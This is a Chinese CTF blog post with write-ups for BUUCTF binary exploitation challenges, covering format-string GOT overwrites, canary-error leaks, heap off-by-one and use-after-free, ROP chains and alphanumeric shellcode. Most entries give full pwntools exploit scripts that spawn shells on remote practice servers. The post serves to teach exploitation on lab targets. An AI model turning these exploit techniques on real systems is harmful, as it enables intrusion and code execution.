buuctf刷题(持续更新)


(写了七十几题之后开始写这篇博客,前面的不想补啦

wdb_2018_2nd_easyfmt

看题目名字就是格式化字符串的题,先检查保护,32位没开任何保护

➜  wdb_2018_2nd_easyfmt checksec pwn
[*] '/home/starrysky/buuctf/wdb_2018_2nd_easyfmt/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8047000)

再反编译看是否是栈上的格式化字符串

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Do you know repeater?");
  while ( 1 )
  {
    read(0, buf, 0x64u);
    printf(buf);
    putchar(10);
  }
}

确认是栈上的格式化字符串,基本思路就是泄露libc基址,然后改prinitfsystem

exp如下

from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 26003)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p = b'%35$p'
r.sendlineafter(b'Do you know repeater?\n', p)

libc_start_main = int(r.recv(10), 16) - 0xf7
libc = ELF('./libc-2.23.so')
libc_base = libc_start_main - libc.sym['__libc_start_main']

printf = elf.got['printf']
system = libc.sym['system'] + libc_base

sys1 = system & 0xff
sys2 = system >> 8 & 0xffff

p = b'a' * 0x20 + p32(printf) + p32(printf + 1)
r.send(p)
sleep(0.5)

p = '%' + str(sys1) + 'c%14$hhn' + '%' + str((sys2) - (sys1)) + 'c%15$hn'
r.sendline(p)

r.sendline(b'/bin/sh\x00')

r.interactive()

picoctf_2018_leak_me

检查保护

➜  picoctf_2018_leak_me checksec pwn
[*] '/home/starrysky/buuctf/picoctf_2018_leak_me/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

反编译出的主要部分如下

puts("What is your name?");
  fgets(v5, 0x100, stdin);
  v8 = strchr(v5, '\n');
  if ( v8 )
    *v8 = '\0';
  strcat(v5, ",\nPlease Enter the Password.");
  stream = fopen("password.txt", "r");
  if ( !stream )
  {
    puts(
      "Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(s, 0x40, stream);
  printf("Hello ");
  puts(v5);
  fgets(s1, 0x40, stdin);
  v5[0] = 0;
  if ( !strcmp(s1, s) )
    ((void (__cdecl *)(int *))flag)(p_argc);
  else
    puts("Incorrect Password!");

先创建一个flag.txtpassword.txt,然后输入0x100a,结果直接输出了password

➜  picoctf_2018_leak_me ./pwn
What is your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,bbb

Incorrect Password!

那就直接打远程,先拿到password然后直接拿到flag

➜  picoctf_2018_leak_me nc node4.buuoj.cn 29296
What is your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,
a_reAllY_s3cuRe_p4s$word_f85406

a_reAllY_s3cuRe_p4s$word_f85406
flag{f22f5647-b8c8-42e2-b854-f0b8cc9b4399}

输入0x100a会直接报错,所以少输几个也能泄露password,再输入就去就行了

wdb2018_guess

检查保护,开了canary

➜  wdb2018_guess checksec pwn
[*] '/home/starrysky/buuctf/wdb2018_guess/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

反汇编

v10 = __readfsqword(0x28u);
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6(a1, a2, a3);
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
  perror("./flag.txt");
  _exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), buf, 48uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
  if ( v6 >= v7 )
  {
    puts("you have no sense... bye :-) ");
    return 0LL;
  }
  if ( !(unsigned int)sub_400A11() )
    break;
  ++v6;
  wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(s2);
if ( !strcmp(buf, s2) )
  puts("You must have great six sense!!!! :-o ");
else
  puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;

程序的功能就是判断输入的flag,在gets处可溢出但没有输出,因此需要利用canary的报错来泄露内存

在低版本的glibc中触发canary保护会输出__libc_argv[0],因此需要利用溢出来覆盖它使得泄露flag

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
		    msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

所以解题思路就是覆盖__libc_argv[0]flag的地址,计算flag的地址可以通过泄露libc中存储栈地址的一个变量environ,而environ的地址可以通过libc计算得到,所以要先通过泄露puts_got来得到libc_base

exp如下:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn',28010)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

puts_got = elf.got['puts']

p = b'a' * 0x128 + p64(puts_got)
r.sendlineafter('Please type your guessing flag', p1)

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

libc = ELF('libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']

p = b'a' * 0x128 + p64(environ_addr)
r.sendlineafter('Please type your guessing flag', p2)

stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

flag_addr = stack_addr - 0x168

p = b'a' * 0x128 + p64(flag_addr)
r.sendlineafter('Please type your guessing flag', p3)

r.interactive()

cmcc_pwnme2

检查保护

➜  cmcc_pwnme2 checksec pwn
[*] '/home/starrysky/buuctf/cmcc_pwnme2/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序中存在栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[132]; // [esp+0h] [ebp-88h] BYREF

  string = 0;
  fflush(stdout);
  puts("Welcome");
  puts("Please input:");
  fflush(stdout);
  gets(s);
  userfunction(s);
  return 0;
}
int __cdecl userfunction(char *src)
{
  char dest[108]; // [esp+Ch] [ebp-6Ch] BYREF

  strcpy(dest, src);
  return printf("Hello, %s\n", src);
}
int exec_string()
{
  char s; // [esp+Bh] [ebp-Dh] BYREF
  FILE *stream; // [esp+Ch] [ebp-Ch]

  stream = fopen(&string, "r");
  if ( !stream )
    perror("Wrong file");
  fgets(&s, 50, stream);
  puts(&s);
  fflush(stdout);
  return fclose(stream);
}
char *__cdecl add_home(int a1)
{
  char *result; // eax

  if ( a1 == 0xDEADBEEF )
  {
    result = (char *)(strlen(&string) + 0x804A060);
    strcpy(result, "/home");
  }
  return result;
}
char *__cdecl add_flag(int a1, int a2)
{
  char *result; // eax

  if ( a1 == 0xCAFEBABE && a2 == 0xABADF00D )
  {
    result = (char *)(strlen(&string) + 0x804A060);
    strcpy(result, "/.flag1");
  }
  return result;
}

题目本意是调用add_homeadd_flagstring直接输入文件名之后调用exec_string读出flag,但是buu远程的文件名和程序里的不一样,所以可以直接读入flag.txt

exp如下:

from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn',29781)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

exec_string = 0x80485CB
string = 0x804A060
gets = elf.plt['gets']

p = b'a' * (0x6c + 4) + p32(gets) + p32(exec_string) + p32(string)

r.sendlineafter(b'Please input:', p)
r.sendline('flag.txt')

r.interactive()

其次可以直接用ret2libcgetshell

exp如下:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

puts_plt = elf.plt['puts']
libc_start_main = elf.got['__libc_start_main']
main = 0x80486F8
pop_ebp_ret = 0x08048680
ret = 0x080483f2
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

p = b'a' * (0x6c + 4) + p32(puts_plt) + p32(main) + p32(libc_start_main)
r.sendlineafter('Please input:', p)

libc_start_main = u32(r.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
libc_base = libc_start_main - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

p1 = b'a' * (0x6c + 4) +  p32(ret) + p32(system) + p32(main) + p32(bin_sh)
r.sendlineafter('Please input:', p1)

r.interactive()

picoctf_2018_got_shell

检查保护

[*] '/home/starrysky/buuctf/picoctf_2018_got_shell/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

反汇编查看

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  _DWORD *v3; // [esp+14h] [ebp-114h] BYREF
  int v4; // [esp+18h] [ebp-110h] BYREF
  char s[256]; // [esp+1Ch] [ebp-10Ch] BYREF
  unsigned int v6; // [esp+11Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  setvbuf(_bss_start, 0, 2, 0);
  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
  __isoc99_scanf("%x", &v3);
  sprintf(s, "Okay, now what value would you like to write to 0x%x", v3);
  puts(s);
  __isoc99_scanf("%x", &v4);
  sprintf(s, "Okay, writing 0x%x to 0x%x", v4, v3);
  puts(s);
  *v3 = v4;
  puts("Okay, exiting now...\n");
  exit(1);
}

可以直接向一个地址写入内容,还有win函数,直接改返回地址为win函数地址即可getshell

exp如下:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1 
if debug:
    r = remote('node4.buuoj.cn',26366)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", str(hex(0x804A014)))
r.sendlineafter("Okay, now what value would you like to write to", str(hex(0x804854B)))
r.sendlineafter('Okay, exiting now...', b'cat flag.txt')

r.interactive()

mrctf2020_easy_equation

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+Fh] [rbp-1h] BYREF

  memset(&s, 0, 0x400uLL);
  fgets(&s, 0x3FF, stdin);
  printf(&s);
  if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
    system("exec /bin/sh");
  return 0;
}

保护只开了堆栈不可执行,看程序简单计算一下judge2时直接getshell,存在栈上的格式化字符串,直接用%c方法会零截断,但是%n的用法根本上是将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,那么只要控制n前字符个数就可以覆盖为一个确定的小数字了

exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn',28623)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p = b'aa%9$naaa' + p64(0x060105C) 
r.sendline(p)

r.interactive()

npuctf_2020_easyheap

一个堆题没开地址随机化的堆题,分析一下

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Content: ");
    read_input(*(_QWORD *)&heaparray[v1]->addr, heaparray[v1]->size + 1);// vuln
    puts("Done!");
  }
  else
  {
    puts("How Dare you!");
  }
  return __readfsqword(0x28u) ^ v3;
}

edit函数中存在一个off-by-one漏洞,程序中存在一个heaparry的堆管理,且在editshow的时候都是直接将heaparry中指向的地址视为目标堆,因此需要控制堆管理

add两个堆,实际创建的是四个堆,其中两个用于堆管理,利用off-by-one改第三个堆大小覆盖掉第四个堆,释放第三个堆之后tcache中存在两个堆,一个是合并之后的一个是第四个堆,此时再创建一个大小为合并之后的堆时它的堆管理就在第四个堆的位置,而第三个堆又能覆写第四个堆,即能够改写堆管理中的大小和地址

将堆管理中的地址设置成got表中的一个地址再show就能得到libc基址,同理改成__free_hook之后edit就能改__free_hooksystem

exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn',28422)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size, content):
    r.sendlineafter('Your choice :', b'1')
    r.sendlineafter('Size of Heap(0x10 or 0x20 only) : ', str(size))
    r.sendafter('Content:', content)

def edit(index, content):
    r.sendlineafter('Your choice :', b'2')
    r.sendlineafter('Index :', str(index))
    r.sendafter('Content: ', content)

def show(index):
    r.sendlineafter('Your choice :', b'3')
    r.sendlineafter('Index :', str(index))

def delete(index):
    r.sendlineafter('Your choice :', b'4')
    r.sendlineafter('Index :', str(index))

add(0x18, b'a' * 0x18)
add(0x18, b'a' * 0x18)

edit(0, b'a' * 0x18 + b'\x41')
delete(1)

puts_got = elf.got['puts']
add(0x38, b'a' * 0x20 + p64(0x30) + p64(puts_got))

show(1)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x809c0

libc = ELF('libc-2.27.so')
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

add(0x18, b'a' * 0x18)
add(0x18, b'a' * 0x18)

edit(2, b'/bin/sh\x00'.ljust(0x18, b'a') + b'\x41')
delete(3)

add(0x38, b'a' * 0x20 + p64(0x30) + p64(free_hook))
edit(3, p64(system))

delete(2)

r.interactive()

mrctf2020_shellcode_revenge

可见字符shellcode,程序中含有可执行段,反编译失败只能看汇编

.text:00000000000011B8                               loc_11B8:                               ; CODE XREF: main+EB↓j
.text:00000000000011B8 8B 45 FC                      mov     eax, [rbp+var_4]
.text:00000000000011BB 48 98                         cdqe
.text:00000000000011BD 0F B6 84 05 F0 FB FF FF       movzx   eax, [rbp+rax+buf]
.text:00000000000011C5 3C 60                         cmp     al, 60h ; '`'
.text:00000000000011C7 7E 11                         jle     short loc_11DA
.text:00000000000011C7
.text:00000000000011C9 8B 45 FC                      mov     eax, [rbp+var_4]
.text:00000000000011CC 48 98                         cdqe
.text:00000000000011CE 0F B6 84 05 F0 FB FF FF       movzx   eax, [rbp+rax+buf]
.text:00000000000011D6 3C 7A                         cmp     al, 7Ah ; 'z'
.text:00000000000011D8 7E 5C                         jle     short loc_1236
.text:00000000000011D8
.text:00000000000011DA
.text:00000000000011DA                               loc_11DA:                               ; CODE XREF: main+72↑j
.text:00000000000011DA 8B 45 FC                      mov     eax, [rbp+var_4]
.text:00000000000011DD 48 98                         cdqe
.text:00000000000011DF 0F B6 84 05 F0 FB FF FF       movzx   eax, [rbp+rax+buf]
.text:00000000000011E7 3C 40                         cmp     al, 40h ; '@'
.text:00000000000011E9 7E 11                         jle     short loc_11FC
.text:00000000000011E9
.text:00000000000011EB 8B 45 FC                      mov     eax, [rbp+var_4]
.text:00000000000011EE 48 98                         cdqe
.text:00000000000011F0 0F B6 84 05 F0 FB FF FF       movzx   eax, [rbp+rax+buf]
.text:00000000000011F8 3C 5A                         cmp     al, 5Ah ; 'Z'
.text:00000000000011FA 7E 3A                         jle     short loc_1236

输入字符的ascii码要在(60,74)||(2f,5a)区间内,因此要将生成的shellcode转化成可见字符,要利用alpha3工具

先生成shellcode

from pwn import *

context.arch='amd64'

shellcode = asm(shellcraft.sh())

f = open('z.bin', 'wb')

f.write(shellcode)
f.close()

然后克隆github上的alpha3并运行生成可见字符

➜  mrctf2020_shellcode_revenge git clone https://github.com/TaQini/alpha3.git
➜  alpha3 git:(master) ✗ python2 ./ALPHA3.py x64 ascii mixedcase rax --input=../z.bin
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t% 

将生成的字符直接发送即可

picoctf_2018_can_you_gets_me

反编译之后有很多很长名字IO什么的的函数且main函数最后一个是gets,直接找rop发送即可:ROPgadget --binary pwn --ropchain

注意加上from struct import pack并且发送时要先填充完变量和rbp

exp:

from pwn import *
from struct import pack

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

# Padding goes here
p = b''

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

r.sendlineafter('GIVE ME YOUR NAME!', b'a' * (0x18 + 4) + p)

r.interactive()

axb_2019_fmt64

检查保护

➜  axb_2019_fmt64 checksec pwn
[*] '/home/starrysky/buuctf/axb_2019_fmt64/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

反汇编看一下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[272]; // [rsp+10h] [rbp-250h] BYREF
  char format[312]; // [rsp+120h] [rbp-140h] BYREF
  unsigned __int64 v5; // [rsp+258h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts(
    "Hello,I am a computer Repeater updated.\n"
    "After a lot of machine learning,I know that the essence of man is a reread machine!");
  puts("So I'll answer whatever you say!");
  while ( 1 )
  {
    alarm(3u);
    memset(s, 0, 0x101uLL);
    memset(format, 0, 0x12CuLL);
    printf("Please tell me:");
    read(0, s, 0x100uLL);
    sprintf(format, "Repeater:%s\n", s);
    if ( (unsigned int)strlen(format) > 270 )
      break;
    printf(format);
  }
  printf("what you input is really long!");
  exit(0);
}

这是一道64位的栈上的格式化字符串,直接改printfogg即可,需要注意printf的零截断以及改低位时减去Repeater:的长度,可以多次输入但每次会将变量置零,因此只能一次性修改

exp:

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn',29275)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p = '%83$p'
r.send(p)

r.recvuntil('Repeater:')
libc_base = int(r.recv(14), 16) - 0x20830
libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')

one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
gadget = one[0] + libc_base
printf = elf.got['printf']

ogg1 = gadget & 0xff
ogg2 = (gadget>>8) & 0xffff

p = b'%' + bytes(str(ogg1 - 9), encoding='utf-8') + b'c%11$hhn' + b'%' + bytes(str(ogg2 - ogg1), encoding='utf-8') + b'c%12$hn'
p = p.ljust(0x18, b'\x00') + p64(printf) + p64(printf + 1)

r.sendafter('Please tell me:', p)

r.interactive()

wustctf2020_easyfast

检查保护,没开地址随机化

➜  wustctf2020_easyfast checksec pwn
[*] '/home/starrysky/buuctf/wustctf2020_easyfast/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

delete函数中存在UAF漏洞

unsigned __int64 __fastcall delete()
{
  __int64 index; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index>");
  fgets(s, 8, stdin);
  index = atoi(s);
  free(buf[index]);                             // uaf
  return __readfsqword(0x28u) ^ v3;
}

存在一个可以直接getshell的函数,但是要将target值改成0

__int64 __fastcall show()
{
  __int64 result; // rax

  if ( target )
    LODWORD(result) = puts("Not yet");
  else
    LODWORD(result) = system("/bin/sh");
  return result;
}__int64 __fastcall show()
{
  __int64 result; // rax

  if ( target )
    LODWORD(result) = puts("Not yet");
  else
    LODWORD(result) = system("/bin/sh");
  return result;
}

在这个地址附近能找到两个fake_chunk,由于edit函数中只能输入8个字节因此选择第二个,改fdfake_chunk地址申请出来再edittarget改成0即可通过vuln函数getshell

pwndbg> find_fake_fast 0x602090
FAKE CHUNKS
Fake chunk | Allocated chunk
Addr: 0x60206a
prev_size: 0x78600007fc46d05
size: 0x40
fd: 0x00
bk: 0x50000000000000
fd_nextsize: 0x00
bk_nextsize: 0x00

Fake chunk | Allocated chunk
Addr: 0x602080
prev_size: 0x00
size: 0x50
fd: 0x00
bk: 0x00
fd_nextsize: 0x7fc46d3e5620
bk_nextsize: 0x00

exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size):
    r.sendlineafter('choice>', b'1')
    r.sendlineafter('size>', str(size))

def delete(index):
    r.sendlineafter('choice>', b'2')
    r.sendlineafter('index>', str(index))

def edit(index, content):
    r.sendlineafter('choice>', b'3')
    r.sendlineafter('index>', str(index))
    sleep(0.5)
    r.send(content)

def vuln():
    r.sendlineafter('choice>', b'4')

target = 0x602090

add(0x40)
delete(0)

edit(0, p64(target - 0x10))

add(0x40)
add(0x40)

edit(2, p64(0))

vuln()

r.interactive()

wustctf2020_name_your_cat

检查保护

➜  wustctf2020_name_your_cat checksec pwn
[*] '/home/starrysky/buuctf/wustctf2020_name_your_cat/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这题主要考的是逆向读代码,对index没有限制,虽然开了canary不能直接溢出但是可以通过数组定位直接任意地址写,v1是栈上的一个地址,计算其与保存了返回到main函数的地址的偏移再除以8即可向返回地址写入,改成shell函数即可getshell,但是要把5次循环结束

int __cdecl NameWhich(int v1)
{
  int index[4]; // [esp+18h] [ebp-10h] BYREF

  index[1] = __readgsdword(0x14u);
  printf("Name for which?\n>");
  __isoc99_scanf("%d", index);
  printf("Give your name plz: ");
  __isoc99_scanf("%7s", 8 * index[0] + v1);
  return index[0];
}

exp:

from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get(num, name):
    r.sendlineafter('Name for which?', str(num))
    r.sendlineafter('Give your name plz: ', name)

shell = 0x80485CB

get(1, b'a')
get(2, b'a')
get(3, b'a')
get(4, b'a')
get(0x7, p32(shell))

r.interactive()

hitcontraining_bamboobox

检查保护:没有开地址随机化

☁  bamboobox  checksec pwn
[*] '/home/starrysky/buuctf/bamboobox/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)

分析程序:

这是一道2.23-0ubuntu11的堆题,libc 2.23中在任意地址写的时候限制写的地址所识别的‘堆’大小与创建大小一致

存后门函数实现orw,但是buuctf的远程文件路径大概率不是这个

void __noreturn magic()
{
  int fd; // [rsp+Ch] [rbp-74h]
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, buf, 0x64uLL);
  close(fd);
  printf("%s", buf);
  exit(0);
}

其他函数主要就是堆的增删改查,bss段存在堆管理,漏洞点出在edit函数

unsigned __int64 change_item()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
